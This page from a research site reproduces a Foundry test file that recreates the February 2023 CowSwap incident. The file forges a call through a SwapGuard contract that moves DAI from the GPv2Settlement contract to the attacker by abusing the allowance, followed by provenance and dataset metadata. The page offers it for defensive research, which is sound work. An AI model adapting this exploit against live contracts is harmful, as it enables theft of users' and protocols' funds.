Public reproduction file
src/test/2023-02/CowSwap_exp.sol
Public reproduction file for dataset entry - CowSwap.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/MevRefund/status/16227938362914078739// https://twitter.com/peckshield/status/162280141272714854410// @TX11// https://etherscan.io/tx/0x90b468608fbcc7faef46502b198471311baca3baab49242a4a85b73d4924379b12interface SwapGuard {13 struct Data {14 address target;15 uint256 value;16 bytes callData;17 }19 function envelope(20 Data[] calldata interactions,21 address vault,22 IERC20[] calldata tokens,23 uint256[] calldata tokenPrices,24 int256[] calldata balanceChanges,25 uint256 allowedLoss26 ) external;27}29contract ContractTest is Test {30 IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);31 SwapGuard swapGuard = SwapGuard(0xcD07a7695E3372aCD2B2077557DE93e667B92bd8);32 address GPv2Settlement = 0x9008D19f58AAbD9eD0D60971565AA8510560ab41;33 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);35 function setUp() public {36 cheats.createSelectFork("mainnet", 16_574_048);37 vm.label(address(DAI), "DAI");38 vm.label(address(swapGuard), "SwapGuard");39 vm.label(address(GPv2Settlement), "GPv2Settlement");40 }42 function testExploit() external {43 uint256 amount = DAI.balanceOf(GPv2Settlement);44 if (DAI.allowance(GPv2Settlement, address(swapGuard)) < amount) {45 amount = DAI.allowance(GPv2Settlement, address(swapGuard));46 }47 bytes memory callDatas =48 abi.encodeWithSignature("transferFrom(address,address,uint256)", GPv2Settlement, address(this), amount);49 SwapGuard.Data[] memory interactions = new SwapGuard.Data[](1);50 interactions[0] = SwapGuard.Data({target: address(DAI), value: 0, callData: callDatas});51 address vault = address(this);52 IERC20[] memory tokens = new IERC20[](1);53 tokens[0] = DAI;54 uint256[] memory tokenPrices = new uint256[](1);55 tokenPrices[0] = 0;56 int256[] memory balanceChanges = new int256[](1);57 balanceChanges[0] = 0;58 uint256 allowedLoss = type(uint256).max;59 swapGuard.envelope(interactions, vault, tokens, tokenPrices, balanceChanges, allowedLoss);61 emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals());62 }63}Analysis
Dataset entry
Public Foundry test for “- CowSwap” (2023-02-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-02/BonqDAO_exp.solSame month in the dataset · 533 lines
- src/test/2023-02/Dexible_exp.solSame month in the dataset · 83 lines
- src/test/2023-02/dForce_exp.solSame month in the dataset · 382 lines
- src/test/2023-02/DYNA_exp.solSame month in the dataset · 132 lines
- src/test/2023-02/EFVault_exp.solSame month in the dataset · 38 lines
- src/test/2023-02/FDP_exp.solSame month in the dataset · 114 lines
- src/test/2023-02/LaunchZone_exp.solSame month in the dataset · 146 lines
- src/test/2023-02/Orion_exp.solSame month in the dataset · 191 lines
- src/test/2023-02/Platypus_exp.solSame month in the dataset · 138 lines
- src/test/2023-02/RevertFinance_exp.solSame month in the dataset · 91 lines
- src/test/2023-02/Sheep_exp.solSame month in the dataset · 72 lines
- src/test/2023-02/USDs_exp.solSame month in the dataset · 51 lines
- src/test/2023-02/Starlink_exp.solSame month in the dataset · 80 lines
- src/test/2023-02/SwapX_exp.solSame month in the dataset · 83 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- CowSwap
- Path
- src/test/2023-02/CowSwap_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- a03fc780e428eeb693102927f7d6d783d3f29368
- Language
- Solidity
- Size
- 64 lines
- Date
- 2023-02-07
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-02/CowSwap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a03fc780e428eeb693102927f7d6d783d3f29368, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.